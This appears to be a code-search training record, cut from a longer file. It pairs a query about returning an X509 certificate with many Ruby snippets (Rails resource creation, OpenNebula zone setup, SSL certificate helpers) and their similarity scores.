vdc_data[:vdcadminname]\n vdcadminpass = vdc_data[:vdcadminpass]\n vdc_data.delete(:zoneid)\n vdc_data.delete(:vdcadminpass)\n vdc_data.delete(:force)\n\n begin\n vdc = OZones::Vdc.create(vdc_data)\n rescue Exception => e\n msg = e.message\n msg[\"accessible in OZones::Vdc\"] = \"supported.\"\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}.\" +\n \" #{msg}\").to_json]\n end\n\n zone.vdcs << vdc\n zone.save\n\n if zone.saved? and vdc.saved?\n vdcadminpass = Digest::SHA1.hexdigest(vdcadminpass)\n rc = @ocaInt.create_vdc_in_zone(zone,\n vdc,\n vdcadminname,\n vdcadminpass)\n if OpenNebula.is_error?(rc)\n vdc.destroy\n return [400, OZones::Error.new(\n \"Error: Couldn't create #{kind}. Reason: \" +\n rc.message).to_json]\n else\n vdc.acls = rc[0]\n vdc.group_id = rc[1]\n vdc.save\n\n pr.update # Rewrite proxy conf file\n return [200, vdc.to_json]\n end\n else\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}.\" +\n \" Maybe duplicated name?\").to_json]\n end\n\n when \"zone\" then\n zone_data=Hash.new\n data.each{|key,value|\n zone_data[key.downcase.to_sym]=value if key!=\"pool\"\n }\n\n mandatory_params = [:onename, :onepass, :endpoint, :name]\n\n mandatory_params.each { |param|\n if !zone_data[param]\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. \" +\n \"Mandatory attribute '#{param}' is missing.\").to_json]\n end\n }\n\n # Digest and check credentials\n zone_data[:onepass] =\n Digest::SHA1.hexdigest(zone_data[:onepass])\n\n rc = @ocaInt.check_oneadmin(zone_data[:onename],\n zone_data[:onepass],\n zone_data[:endpoint])\n\n if OpenNebula.is_error?(rc)\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind}. Reason: \"+\n rc.message).to_json]\n end\n\n # Create the zone\n zone = OZones::Zones.create(zone_data)\n rc = zone.save\n\n if rc\n pr.update # Rewrite proxy conf file\n return [200, zone.to_json]\n else\n return [400, OZones::Error.new(\n \"Error: Couldn't create resource #{kind.upcase}.\" +\n \" Maybe duplicated name?\").to_json]\n end\n else\n error = OZones::Error.new(\n \"Error: #{kind.upcase} resource not supported\")\n return [404, error.to_json]\n end\n end", "def create\n add_breadcrumb I18n.t('integral.navigation.create')\n @resource = resource_klass.new(resource_params)\n\n yield if block_given?\n\n if @resource.save\n respond_successfully(notification_message('creation_success'), edit_backend_resource_url(@resource))\n else\n respond_failure(notification_message('creation_failure'), :new)\n end\n end", "def create\n @item = @resource.new(params[@object_name])\n\n set_attributes_on_create\n\n respond_to do |format|\n if @item.save\n format.html do\n params[:resource] ? create_with_back_to : redirect_on_success\n end\n format.json { render :json => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def build_resource params\n\t if(new_record?)\n\t \t r = resource_type.constantize.new params\n\t \t self.resource = r\n\t else\n\t\t resource.update_attributes params\n\t end\t \n\tend", "def create(opts)\n opts = check_params(opts,[:config_names,:auth_methods])\n super(opts)\n end", "def create\n @chef_resource = ChefResource.new(chef_resource_params)\n\n respond_to do |format|\n if @chef_resource.save\n format.html { redirect_to @chef_resource, notice: 'Chef resource was successfully created.' }\n format.json { render :show, status: :created, location: @chef_resource }\n else\n format.html { render :new }\n format.json { render json: @chef_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(_options)\n raise NotImplementedError\n end", "def create(repository, resource)\n raise NotImplementedError\n end", "def add_resource(name, opts)\n if (resources[name])\n raise RuntimeError,\n \"The supplied resource '#{name}' is already added.\", caller\n end\n\n # If a procedure was passed, mount the resource with it.\n if (opts['Proc'])\n mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])\n else\n raise ArgumentError, \"You must specify a procedure.\"\n end\n end", "def create\n @resource = current_user.resources.build(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(options = {}, &block)\n OrigenTesters::Interface.with_resources_mode do\n orig_create(options, &block)\n end\n end", "def create(args = {})\n end", "def new\n build_resource\n yield resource if block_given?\n end", "def build_resource\n resource = resource_base.new\n\n unless @options[:bypass_params_assignation]\n resource.assign_attributes(resource_params || {})\n end\n\n assign_attributes(resource)\n end", "def create\n event = Connection::Events::Create.from_jsonapi(params, self)\n result = event.handle\n render_resource_created_event result[:validation], result[:result]\n end", "def create(name, type, options = {})\n Utils.stringify_keys!(options)\n path = \"/projects/#{project.name}/resources/\"\n\n headers = build_create_base_headers(name, type, options)\n body = build_create_base_body(options)\n\n location = client.post(path, headers: headers, body: body).headers['Location']\n Resource.new(name: name, resource_type: type, comment: options['comment'], location: location)\n end", "def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n flash[:success] = 'Resource was successfully created.'\n format.html { redirect_to admin_resource_path(@resource.id) }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end", "def new\n resource = build_resource({})\n respond_with resource\n end", "def build_resource(hash=nil)\n super(hash)\n self.resource.auto_approve = true if self.resource && session[:auto_approve_account] == true\n end", "def create\n @resource = current_admin.resources.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render action: 'show', status: :created, location: @resource }\n else\n format.html { render action: 'new' }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n value: @resource[:value]\n }\n end", "def create_or_update(opts = {})\n raise 'Can only call for create or update!' unless ['create', 'update'].include?(action_name)\n klass = opts[:klass] || Kernel.const_get(controller_name.camelize.singularize)\n\n ivar_name = klass.to_s.underscore\n object_params = params[ivar_name]\n obj = klass.new(object_params) if 'create' == action_name\n obj ||= klass.find(params[:id])\n\n instance_variable_set(\"@#{ivar_name}\", obj)\n obj.update_attributes(opts[:options])\n\n valid = obj.save if 'create' == action_name\n valid ||= obj.update_attributes(object_params)\n respond_to do |format|\n if valid\n format.html do\n msg = \"#{klass} #{obj.try(:name)} successfully #{action_name}d\"\n if block_given?\n yield obj\n else\n redirect_to(obj, :notice => msg)\n end\n end\n format.json { render :json => obj.to_json }\n else\n format.html { render :action => { 'create' => 'new', 'update' => 'edit'}[action_name] }\n format.json { render :json => {:errors => obj.errors}.to_json, :status => :unprocessable_entity }\n end\n end\n end", "def create(&block)\n with_scim_resource() do |resource|\n render(json: yield(resource, :create), status: :created)\n end\n end", "def create(opts = {})\n add_headers(opts)\n add_params(opts)\n add_timeout(opts)\n add_connect_timeout(opts)\n add_compression_type(opts)\n add_data_body(opts)\n end", "def create\n if @current_user\n @resource = Resource.create(resource_params)\n render json: @resource, status: 200\n else\n render json: {}, status: 401\n end \n end", "def create(attrs)\n resource = @resource.new(attrs.merge(:session => @session, :prefix => @prefix))\n resource.save\n resource\n end", "def create(resource, format=@default_format)\n options = { resource: resource.class, format: format }\n reply = post resource_url(options), resource, fhir_headers(options)\n if [200,201].include? reply.code\n type = reply.response[:headers][:content_type]\n if !type.nil?\n if type.include?('xml') && !reply.body.empty?\n reply.resource = resource.class.from_xml(reply.body)\n elsif type.include?('json') && !reply.body.empty?\n reply.resource = resource.class.from_fhir_json(reply.body)\n else\n reply.resource = resource # just send back the submitted resource\n end\n else\n reply.resource = resource # don't know the content type, so return the resource provided\n end\n else\n reply.resource = resource # just send back the submitted resource\n end\n reply.resource_class = resource.class\n reply\n end", "def puppet_resource(opts, &block)\n if opts.is_a?(String)\n opts = {:resource => opts}\n end\n\n RSpecSystemPuppet::Helpers::PuppetResource.new(opts, self, &block)\n end", "def cmd_create argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.create(json, e)\n msg response\n return response\n end", "def create\n @asset = Resource.new(resource_params)\n \n if @asset.save\n redirect_to admin_resource_path(@asset), notice: 'Resource was successfully created.'\n else\n render action: 'new'\n end\n end", "def create_additional_options\n type_dir = new_resource.send('config_dir_' + new_resource.type)\n new_resource.additional_options.each do |k, v|\n file \"#{new_resource.instance} :create #{type_dir})/#{k}\" do\n path \"#{type_dir}/#{k}\"\n content v\n end\n end\n end" ]
[ "0.70495033", "0.6827332", "0.66715145", "0.6594961", "0.6561043", "0.6555644", "0.65167624", "0.645247", "0.644378", "0.63996917", "0.63683903", "0.6367619", "0.63568085", "0.6346443", "0.63420165", "0.63400555", "0.63391864", "0.6301981", "0.6297595", "0.6297426", "0.6259257", "0.6259257", "0.6259257", "0.6259257", "0.62576824", "0.62006325", "0.6177757", "0.61764604", "0.6168849", "0.61573374", "0.61254245", "0.6119621", "0.6118395", "0.61086977", "0.61063296", "0.61063296", "0.61063296", "0.61063296", "0.6101155", "0.60904676", "0.6089884", "0.6085001", "0.6078535", "0.6054629", "0.6020542", "0.6007777", "0.5999352", "0.5996728", "0.59922075", "0.5976026", "0.59718764", "0.596307", "0.5960788", "0.59561235", "0.59545463", "0.5945419", "0.5938773", "0.5936458", "0.59303135", "0.5910032", "0.59067357", "0.5882579", "0.58799917", "0.5879727", "0.58714753", "0.5869806", "0.5865269", "0.5865269", "0.58651906", "0.5864943", "0.585738", "0.585706", "0.5853664", "0.58317065", "0.5800137", "0.57997346", "0.57923675", "0.57887644", "0.57836545", "0.5780316", "0.57760274", "0.5770024", "0.57648677", "0.57558626", "0.5744346", "0.57405263", "0.5739333", "0.5732641", "0.57315433", "0.57314825", "0.57231975", "0.5722071", "0.5721346", "0.5702514", "0.56966406", "0.56838363", "0.56789553", "0.5677119", "0.5673706", "0.5672252", "0.5667052" ]
0.0
-1
Return the X509 certificate. If it hasn't been passed in, return a selfsigned one
def to_x509() @cert end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def x509\n @x509 ||= OpenSSL::X509::Certificate.new(as_pem)\n end", "def certificate_get\n return @cert unless @cert.nil?\n cert_path = File.join(resource[:cert_dir], resource[:cert_name])\n @cert = if Pathname.new(cert_path).exist?\n file = File.read(cert_path)\n OpenSSL::X509::Certificate.new(file)\n else\n false\n end\n end", "def certificate\n return @cert unless @cert.nil?\n\n # Verify that the given directory exists\n unless File.directory?(resource[:cert_dir])\n raise ArgumentError, \"Directory not found for: #{resource[:cert_dir]}\"\n end\n\n cert_path = File.join(resource[:cert_dir], resource[:cert_name])\n @cert = if Pathname.new(cert_path).exist?\n file = File.read(cert_path)\n OpenSSL::X509::Certificate.new(file)\n else\n false\n end\n end", "def own_signing_certificate\n application_response = extract_application_response(OP_PKI)\n at = 'xmlns|Certificate > xmlns|Certificate'\n node = Nokogiri::XML(application_response).at(at, xmlns: OP_XML_DATA)\n\n return unless node\n\n cert_value = process_cert_value node.content\n cert = x509_certificate cert_value\n cert.to_s\n end", "def certificate\n cert_value = @ar.at_css(\n 'xmlns|X509Certificate',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content.gsub(/\\s+/, \"\")\n\n cert = process_cert_value(cert_value)\n\n begin\n OpenSSL::X509::Certificate.new(cert)\n rescue => e\n fail OpenSSL::X509::CertificateError,\n \"The certificate embedded in the application response could not be \" \\\n \"processed. It's most likely corrupted. \" \\\n \"OpenSSL had this to say: #{e}.\"\n end\n end", "def certificate\n _get_certificate\n end", "def cert\n digidoc_cert if @cert.nil?\n @cert\n end", "def certificate\n return @certificate\n end", "def certificate_signing_request\n return @certificate_signing_request\n end", "def cert\n @cert\n end", "def certificate\n Base64.strict_encode64(parsed_certificate.to_der)\n end", "def get_cert_path\n if !has_cert?\n return nil\n end\n\n return @cert_file_path\n end", "def x509_certificate(value)\n OpenSSL::X509::Certificate.new value\n end", "def cert\n @cert ||= (OpenSSL::X509::Certificate.new File.read(cert_file) if cert_file)\n end", "def get!(certificate_thumbprint)\n cert_pem = cert_get(certificate_thumbprint)\n\n raise ArgumentError, \"Unable to retrieve the certificate\" if cert_pem.empty? || cert_pem == \"Certificate Not Found\"\n\n cert_pem\n end", "def ssl_certificate\n @ssl_certificate ||= OpenSSL::X509::Certificate.new <<-CERT\n-----BEGIN CERTIFICATE-----\nMIIBQjCB7aADAgECAgEAMA0GCSqGSIb3DQEBBQUAMCoxDzANBgNVBAMMBm5vYm9k\neTEXMBUGCgmSJomT8ixkARkWB2V4YW1wbGUwIBcNMTExMTAzMjEwODU5WhgPOTk5\nOTEyMzExMjU5NTlaMCoxDzANBgNVBAMMBm5vYm9keTEXMBUGCgmSJomT8ixkARkW\nB2V4YW1wbGUwWjANBgkqhkiG9w0BAQEFAANJADBGAkEA8pmEfmP0Ibir91x6pbts\n4JmmsVZd3xvD5p347EFvBCbhBW1nv1GsbCBEFlSiT1q2qvxGb5IlbrfdhdgyqdTX\nUQIBATANBgkqhkiG9w0BAQUFAANBAAAB////////////////////////////////\n//8AMCEwCQYFKw4DAhoFAAQUePiv+QrJxyjtEJNnH5pB9OTWIqA=\n-----END CERTIFICATE-----\n CERT\n end", "def x509_certificate_string\n t=self.metadata_nokogiri.clone\n t.remove_namespaces!\n the_xpath = \"//KeyDescriptor/KeyInfo/X509Data/X509Certificate\"\n node = t.xpath(the_xpath)\n if node.blank?\n raise \"Could not extract X509Certificate from #{site.name}\"\n else\n node.inner_text\n end\n end", "def sign_certificate\n sign_certificate_for(default)\n end", "def create_self_signed_cert(bits, cn, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 1\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365*24*60*60)\n cert.public_key = rsa.public_key\n cert.sign(rsa, OpenSSL::Digest::SHA1.new)\n return [cert, rsa]\nend", "def certificate\n GeoCerts::Certificate.find_by_order_id(self.id)\n end", "def certificate\n certificate_value = document.at_xpath('//wse:Security/wse:BinarySecurityToken', namespaces).text.strip\n OpenSSL::X509::Certificate.new Base64.decode64(certificate_value)\n end", "def certificate\n certificate_value = document.at_xpath('//wse:Security/wse:BinarySecurityToken', namespaces).text.strip\n OpenSSL::X509::Certificate.new Base64.decode64(certificate_value)\n end", "def certificate_for\n @certificate_for || :default\n end", "def cert_object(cert)\n bytes = cert_to_bytes(cert)\n cert_from_bytes(bytes) if bytes\n end", "def ssl_cert\n OpenSSL::X509::Certificate.new(File.read(self.class.ssl_cert_path))\n rescue => e\n # :nocov:\n unless allow_missing_certs?\n Rails.logger.warn \"Could not load #{service_name} SSL cert: #{e.message}\"\n raise e if Rails.env.production?\n end\n nil\n # :nocov:\n end", "def certification\n return @certification\n end", "def parsed_certificate\n OpenSSL::X509::Certificate.new(certificate_bytes)\n end", "def certificate(record)\n record.public_send(options[:certificate])\n end", "def ssl_cert\n datastore['SSLCert']\n end", "def certificate; end", "def certificate; end", "def certificate(name)\n json = client.get(\"/v1/auth/cert/certs/#{encode_path(name)}\")\n return Secret.decode(json)\n rescue HTTPError => e\n return nil if e.code == 404\n raise\n end", "def certificate_subject\n attributes[:certificate_subject]\n end", "def get_cert_details()\n $log.debug(\"Returning certificate details\")\n self.use_ssl = true\n disable_validations\n begin\n self.start do |x|\n return ResultContainer.new(true, x.peer_cert)\n end\n rescue => ex\n return ResultContainer.new(false, ex)\n end\n end", "def certificate_subject\n return \"CN=#{project.package_name}\" unless signing_identity\n\n store = machine_store? ? \"LocalMachine\" : \"CurrentUser\"\n cmd = [].tap do |arr|\n arr << \"powershell.exe\"\n arr << \"-ExecutionPolicy Bypass\"\n arr << \"-NoProfile\"\n arr << \"-Command (Get-Item Cert:/#{store}/#{cert_store_name}/#{thumbprint}).Subject\"\n end.join(\" \")\n\n shellout!(cmd).stdout.strip\n end", "def certificate_path\n\t\t\tFile.join(@root, \"#{@hostname}.crt\")\n\t\tend", "def create_self_signed_cert(bits, cn, comment)\n\trsa = OpenSSL::PKey::RSA.new(bits){|p,n|\n\t\tcase p\n\t\twhen 0; $stderr.putc \".\" # BN_generate_prime\n\t\twhen 1; $stderr.putc \"+\" # BN_generate_prime\n\t\twhen 2; $stderr.putc \"*\" # search good prime,\n\t\t\t# n = #of try,\n\t\t\t# data came from BN_generate_prime too\n\t\twhen 3; $stderr.putc \"\\n\" # found good prime, n == 0 - p, n == 1 - q,\n\t\t\t# data came from BN_generate_prime too\n\t\telse; $stderr.putc \"*\" # BN_generate_prime\n\t\tend\n\t}\n\tcert = OpenSSL::X509::Certificate.new\n\tcert.version = 2\n\tcert.serial = 1\n\tname = OpenSSL::X509::Name.new(cn)\n\tcert.subject = name\n\tcert.issuer = name\n\tcert.not_before = Time.now\n\tcert.not_after = Time.now + (365 * 24 * 60 * 60)\n\tcert.public_key = rsa.public_key\n\n\tef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n\tef.issuer_certificate = cert\n\tcert.extensions = [\n\t\tef.create_extension('basicConstraints', 'CA:FALSE'),\n\t\tef.create_extension('keyUsage', 'keyEncipherment'),\n\t\tef.create_extension('subjectKeyIdentifier', 'hash'),\n\t\tef.create_extension('extendedKeyUsage', 'serverAuth'),\n\t\tef.create_extension('nsComment', comment),\n\t]\n\taki = ef.create_extension('authorityKeyIdentifier', 'keyid:always, issuer:always')\n\tcert.add_extension(aki)\n\tcert.sign(rsa, OpenSSL::Digest::SHA1.new)\n\n\treturn [ cert, rsa ]\nend", "def get_cert\n cert_str = \"\"\n \n File.open(@cert_file_path, \"r\") do |f|\n cert_str = f.read\n end\n\n return cert_str\n end", "def cert_key\n @cert_key ||= (OpenSSL::PKey.read(File.read(cert_key_file), cert_key_password) if cert_key_file)\n end", "def get(certificate_thumbprint)\n cert_get(certificate_thumbprint)\n end", "def certificate_data\n return @certificate_data\n end", "def create_self_signed_cert(bits, cn, aliases, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = Time.now.to_i % (1 << 20)\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365 * 24 * 60 * 60)\n cert.public_key = rsa.public_key\n\n ef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n ef.issuer_certificate = cert\n cert.extensions = [\n ef.create_extension('basicConstraints', 'CA:FALSE'),\n ef.create_extension('keyUsage', 'keyEncipherment'),\n ef.create_extension('subjectKeyIdentifier', 'hash'),\n ef.create_extension('extendedKeyUsage', 'serverAuth'),\n ef.create_extension('nsComment', comment)\n ]\n aki = ef.create_extension('authorityKeyIdentifier',\n 'keyid:always,issuer:always')\n cert.add_extension(aki)\n cert.add_extension ef.create_extension('subjectAltName', aliases.map { |d| \"DNS: #{d}\" }.join(','))\n\n cert.sign(rsa, OpenSSL::Digest.new('SHA256'))\n\n [cert, rsa]\n end", "def cert; end", "def cert; end", "def cert; end", "def cert_pem; end", "def cert\n @agent.certificate\n end", "def cert_path=(_arg0); end", "def certification_name\n return @certification_name\n end", "def cert_path; end", "def cert_path; end", "def cert_params\n params[:cert]\n end", "def certificate # :nodoc:\n @agent.certificate\n end", "def sign!(signing_profile={})\n raise \"Invalid certificate #{self.errors.full_messages}\" unless valid?\n merge_profile_with_extensions(signing_profile)\n\n openssl_cert = OpenSSL::X509::Certificate.new\n openssl_cert.version = 2\n openssl_cert.not_before = self.not_before\n openssl_cert.not_after = self.not_after\n openssl_cert.public_key = self.key_material.public_key\n\n openssl_cert.serial = self.serial_number.number\n\n openssl_cert.subject = self.distinguished_name.to_x509_name\n openssl_cert.issuer = parent.distinguished_name.to_x509_name\n\n factory = OpenSSL::X509::ExtensionFactory.new\n factory.subject_certificate = openssl_cert\n\n #NB: If the parent doesn't have an SSL body we're making this a self-signed cert\n if parent.openssl_body.nil?\n factory.issuer_certificate = openssl_cert\n else\n factory.issuer_certificate = parent.openssl_body\n end\n\n factory.config = build_openssl_config\n\n # Order matters: e.g. for self-signed, subjectKeyIdentifier must come before authorityKeyIdentifier\n self.extensions.keys.sort{|a,b| b<=>a}.each do |k|\n e = extensions[k]\n next if e.to_s.nil? or e.to_s == \"\" ## If the extension returns an empty string we won't include it\n ext = factory.create_ext(e.openssl_identifier, e.to_s, e.critical)\n openssl_cert.add_extension(ext)\n end\n\n if signing_profile[\"digest\"].nil?\n digest = OpenSSL::Digest.new(\"SHA512\")\n else\n digest = OpenSSL::Digest.new(signing_profile[\"digest\"])\n end\n\n self.openssl_body = openssl_cert.sign(parent.key_material.private_key, digest)\n end", "def generate_signed_cert\n unless @generated_signed_cert\n domains = %w(example.org www.example.org)\n\n key = OpenSSL::PKey::RSA.new(LetsCert::TEST::KEY_LENGTH)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 2\n cert.issuer = OpenSSL::X509::Name.parse \"/DC=letscert/CN=CA\"\n cert.public_key = key.public_key\n cert.not_before = Time.now\n # 20 days validity\n cert.not_after = cert.not_before + 20 * 24 * 60 * 60\n ef = OpenSSL::X509::ExtensionFactory.new\n ef.subject_certificate = cert\n domains.each do |domain|\n cert.add_extension(ef.create_extension('subjectAltName',\n \"DNS:#{domain}\",\n false))\n end\n cert.sign(ca_root_key, OpenSSL::Digest::SHA256.new)\n\n @generated_signed_cert = [cert, domains]\n end\n\n @generated_signed_cert\n end", "def ssl_cert\n self.config.ssl_cert\n end", "def sign(hostname, cert_type = :server, self_signing_csr = nil)\n # This is a self-signed certificate\n if self_signing_csr\n csr = self_signing_csr\n issuer = csr.content\n else\n unless csr = Puppet::SSL::CertificateRequest.find(hostname)\n raise ArgumentError, \"Could not find certificate request for %s\" % hostname\n end\n issuer = host.certificate.content\n end\n\n cert = Puppet::SSL::Certificate.new(hostname)\n cert.content = Puppet::SSL::CertificateFactory.new(cert_type, csr.content, issuer, next_serial).result\n cert.content.sign(host.key.content, OpenSSL::Digest::SHA1.new)\n\n Puppet.notice \"Signed certificate request for %s\" % hostname\n\n # Add the cert to the inventory before we save it, since\n # otherwise we could end up with it being duplicated, if\n # this is the first time we build the inventory file.\n inventory.add(cert)\n\n # Save the now-signed cert. This should get routed correctly depending\n # on the certificate type.\n cert.save\n\n # And remove the CSR if this wasn't self signed.\n Puppet::SSL::CertificateRequest.destroy(csr.name) unless self_signing_csr\n\n return cert\n end", "def prepare_certificate(csr)\n cert = OpenSSL::X509::Certificate.new\n cert.subject = csr.subject\n cert.public_key = csr.public_key\n cert\n end", "def endorsement_cert\r\n raw_cert = tag[Tem::ECert.ecert_tag_key].pack('C*')\r\n OpenSSL::X509::Certificate.new raw_cert\r\n end", "def encryption_certificate\n return @encryption_certificate\n end", "def ssl_generate_certificate\n Rex::Socket::SslTcpServer.ssl_generate_certificate\n end", "def cert_dump(cert)\n return nil unless cert\n\n %x[echo \"#{cert_object(cert).to_pem}\" | openssl x509 -text -noout -nameopt oneline,-esc_msb 2>&1]\n end", "def issuer\n issuer = %x{echo \"#{self.certificate}\" | openssl x509 -noout -issuer}\n issuer.gsub(/^(.*)O=/,'').gsub(/\\/(.*)$/, '')\n end", "def ca_cert\n \n end", "def to_pem\n if @cert.kind_of?(OpenSSL::X509::Certificate)\n return @cert.to_pem.chomp\n end\n end", "def certificate(serial_number)\n RubyAem::Resources::Certificate.new(@client, serial_number)\n end", "def common_name\n subject = %x{echo \"#{self.certificate}\" | openssl x509 -noout -subject}\n subject.gsub(/^(.*)CN=/, '').strip\n end", "def cert_digest\n Digest::SHA1.hexdigest(@cert.to_der)\n end", "def certificate=(value)\n @certificate = value\n end", "def ssl_client_certificate\n super\n end", "def certificate_store # :nodoc:\n @certificate_store ||=\n begin\n # use local certificate\n certificate = OpenSSL::X509::Certificate.new @ca.ca_cert.to_pem\n\n store = OpenSSL::X509::Store.new\n store.add_cert certificate\n store\n end\n end", "def ca_certificate_identifier\n data[:ca_certificate_identifier]\n end", "def signature_1 \n @signature1 ||= read_certificate(\"certificate1\")\n end", "def certificate_file\n super\n end", "def public_key\n @cert.public_key\n end", "def ca_cert_string\n @ca_cert_string ||= begin\n vcap_services[vcap_services.keys.first].first['credentials']['cacrt']\n end\n end", "def cert=(cert); end", "def default_cert_store\n store = OpenSSL::X509::Store.new\n store.set_default_paths\n\n store\n end", "def cert_store; end", "def cert_store; end", "def generate_ssl_cert\n\t\tcert_request = TEST_WORKDIR + 'example.csr'\n\t\tsigning_key = TEST_WORKDIR + 'example.key'\n\t\tcert = TEST_WORKDIR + 'example.crt'\n\n\t\tunless File.exist?( cert )\n\t\t\tsystem 'openssl', 'req',\n\t\t\t\t'-new', '-newkey', 'rsa:4096',\n\t\t\t\t'-days', '365', '-nodes', '-x509',\n\t\t\t\t'-subj', '/C=US/ST=Oregon/L=Portland/O=IT/CN=localhost',\n\t\t\t\t'-keyout', signing_key.to_s,\n\t\t\t\t'-out', cert.to_s\n\n\t\t\tsystem 'openssl', 'req',\n\t\t\t\t'-new',\n\t\t\t\t'-subj', '/C=US/ST=Oregon/L=Portland/O=IT/CN=localhost',\n\t\t\t\t'-key', signing_key.to_s,\n\t\t\t\t'-out', cert_request.to_s\n\n\t\t\tsystem 'openssl', 'rsa',\n\t\t\t\t'-in', signing_key.to_s,\n\t\t\t\t'-out', signing_key.to_s\n\n\t\t\tsystem 'openssl', 'x509',\n\t\t\t\t'-req', '-days', '365',\n\t\t\t\t'-in', cert_request.to_s,\n\t\t\t\t'-signkey', signing_key.to_s,\n\t\t\t\t'-out', cert.to_s\n\t\tend\n\tend", "def get_certificate(aliaz)\n\n end", "def certificate_value(h)\n v = credential_authentication_inverso_issuer(h)\n h[:k] == \"seal\" && valid_keys.include?(\"certificate\") ? \"#{v} #{join_seal(h[:ver])}\" : v\n end", "def certificate_signing_request=(value)\n @certificate_signing_request = value\n end", "def public_key\n @cert.public_key\n end", "def store\n\t\t\t@store ||= OpenSSL::X509::Store.new.tap do |store|\n\t\t\t\tstore.add_cert(self.certificate)\n\t\t\tend\n\t\tend", "def ca_certificate_identifier\n @dbi.ca_certificate_identifier\n end", "def ca_certificate_identifier\n @dbi.ca_certificate_identifier\n end", "def ca_cert\n @ca_cert ||= OpenSSL::X509::Certificate.new File.read(ca_cert_file)\n end", "def data_recovery_certificate\n return @data_recovery_certificate\n end", "def certificate_details\n data[:certificate_details]\n end", "def cert=(certificate)\n @cert = certificate\n # Try to guess a digest algorithm for signature creation\n case @cert.signature_algorithm\n when 'GOST R 34.11-94 with GOST R 34.10-2001'\n self.signature_digest_algorithm = :gostr3411\n self.signature_algorithm_id = 'http://www.w3.org/2001/04/xmldsig-more#gostr34102001-gostr3411'\n # Add clauses for other types of keys that require other digest algorithms and identifiers\n else # most common 'sha1WithRSAEncryption' type included here\n set_default_signature_method! # Reset any changes as they can become malformed\n end\n end", "def certificate_body\n data.certificate_body\n end", "def certificate_body\n data.certificate_body\n end", "def der_to_pem(cert)\n OpenSSL::X509::Certificate.new(cert).to_pem\n rescue\n Rails.logger.error($!.message)\n raise I18n.t('validation.invalid_cert')\n end", "def to_x509\n if @value\n OpenSSL::X509::Name.new(@value.to_a, OpenSSL::X509::Name::OBJECT_TYPE_TEMPLATE)\n end\n end", "def server_cert_from_spec(spec)\n if spec[:server_certificate]\n spec[:server_certificate]\n elsif spec[:ssl_certificate_id]\n spec[:ssl_certificate_id]\n else\n nil\n end\n end", "def signing_request\n req = OpenSSL::X509::Request.new\n req.public_key = key.public_key\n req.subject = OpenSSL::X509::Name.new([['CN', domain]])\n req.sign(key, OpenSSL::Digest::SHA256.new)\n end", "def sign_wrapped_cert(cert)\n signer = Puppet::SSL::CertificateSigner.new\n signer.sign(cert.content, key)\n end", "def get_server_certificate(name)\n request({\n 'Action' => 'GetServerCertificate',\n 'ServerCertificateName' => name,\n :parser => Fog::Parsers::AWS::IAM::UploadServerCertificate.new\n })\n end" ]
[ "0.7381351", "0.73387355", "0.72972775", "0.72907573", "0.7288836", "0.7214728", "0.70404077", "0.6888398", "0.68689144", "0.6818264", "0.67947125", "0.6793299", "0.6769461", "0.6719156", "0.66315323", "0.6616392", "0.6553652", "0.6520329", "0.64659774", "0.64501065", "0.6432286", "0.6432286", "0.6407544", "0.63889134", "0.6371618", "0.634074", "0.63089234", "0.6299567", "0.6298629", "0.62973976", "0.62973976", "0.6274798", "0.62686527", "0.6215593", "0.6214819", "0.6207821", "0.62022924", "0.6148529", "0.6138704", "0.61350155", "0.6128471", "0.6124475", "0.6101426", "0.6101426", "0.6101426", "0.6076974", "0.6028406", "0.59894556", "0.59655696", "0.59556144", "0.59556144", "0.5928041", "0.5921409", "0.5893737", "0.58436245", "0.5836128", "0.58337104", "0.5801789", "0.5780073", "0.5768733", "0.5749564", "0.5747948", "0.5735885", "0.5719416", "0.5714947", "0.57095844", "0.57069016", "0.5680851", "0.56802624", "0.5674102", "0.565469", "0.565136", "0.5648965", "0.56272936", "0.5620413", "0.56201035", "0.5617261", "0.5586612", "0.55707145", "0.55707145", "0.55687857", "0.5566007", "0.55547816", "0.555097", "0.55397886", "0.5536648", "0.5530712", "0.5530712", "0.5515316", "0.55112296", "0.54867005", "0.5483186", "0.5472192", "0.5472192", "0.5464694", "0.54601514", "0.5450674", "0.54229754", "0.5420506", "0.54033864" ]
0.7512672
0
Return a hash of some of the key properties of this cert. To get the full monty, use 'openssl x509 in xxx.pem text'
def describe { subject: subject, issuer: @cert.issuer, addresses: addresses, can_sign: can_sign?, root_ca: root_ca?, valid: valid?, valid_period: [@cert.not_before, @cert.not_after] } #(@cert.methods - Object.new.methods).sort end
